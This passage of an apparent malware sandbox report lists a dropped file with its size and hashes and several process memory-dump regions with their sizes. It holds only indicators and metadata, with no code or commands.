                                                                                                                                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Afkappet.Cif

                                                                                                                                                    Filesize

                                                                                                                                                    255KB

                                                                                                                                                    MD5

                                                                                                                                                    65084d76721f704ea9689eab3eecad57

                                                                                                                                                    SHA1

                                                                                                                                                    76af7b60f0ee3a5b7fe80c75119759aebead331b

                                                                                                                                                    SHA256

                                                                                                                                                    e3ef79845b042c2171bff181349b409f5b0a48b6daf0047270986c1dff27d787

                                                                                                                                                    SHA512

                                                                                                                                                    8f021ad1c4de10dfdb12c02cd5f173f203054e2ba983c635ca35af397d1e47c4121072958d59c0e149f0e57857d8d6fb890b5f1b6d46eb20ece78783e5ba8fc9

                                                                                                                                                  • memory/928-179-0x0000000002A20000-0x0000000002A30000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/928-178-0x00000000083B0000-0x000000000D190000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    77.9MB

                                                                                                                                                  • memory/928-177-0x0000000007560000-0x0000000007561000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    4KB

                                                                                                                                                  • memory/928-174-0x0000000002A20000-0x0000000002A30000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/2836-143-0x0000000004E50000-0x0000000004EB6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/2836-161-0x00000000049C0000-0x00000000049D0000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/2836-154-0x00000000049C0000-0x00000000049D0000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/2836-155-0x0000000007460000-0x0000000007ADA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    6.5MB

                                                                                                                                                  • memory/2836-156-0x0000000006180000-0x000000000619A000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    104KB

                                                                                                                                                  • memory/2836-157-0x0000000006E80000-0x0000000006F16000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    600KB

                                                                                                                                                  • memory/2836-158-0x0000000006E10000-0x0000000006E32000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/2836-159-0x0000000008090000-0x0000000008634000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    5.6MB

                                                                                                                                                  • memory/2836-160-0x00000000049C0000-0x00000000049D0000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/2836-153-0x0000000005C00000-0x0000000005C1E000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    120KB

                                                                                                                                                  • memory/2836-173-0x00000000049C0000-0x00000000049D0000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/2836-137-0x00000000022D0000-0x0000000002306000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    216KB

                                                                                                                                                  • memory/2836-142-0x0000000004DE0000-0x0000000004E46000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/2836-141-0x0000000004C30000-0x0000000004C52000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/2836-140-0x0000000005000000-0x0000000005628000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                  • memory/2836-139-0x00000000049C0000-0x00000000049D0000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/2836-138-0x00000000049C0000-0x00000000049D0000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/4460-182-0x0000000001060000-0x0000000005E40000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    77.9MB

                                                                                                                                                  • memory/4460-186-0x0000000001060000-0x0000000005E40000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    77.9MB

                                                                                                                                                  • memory/4460-188-0x0000000001060000-0x0000000005E40000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    77.9MB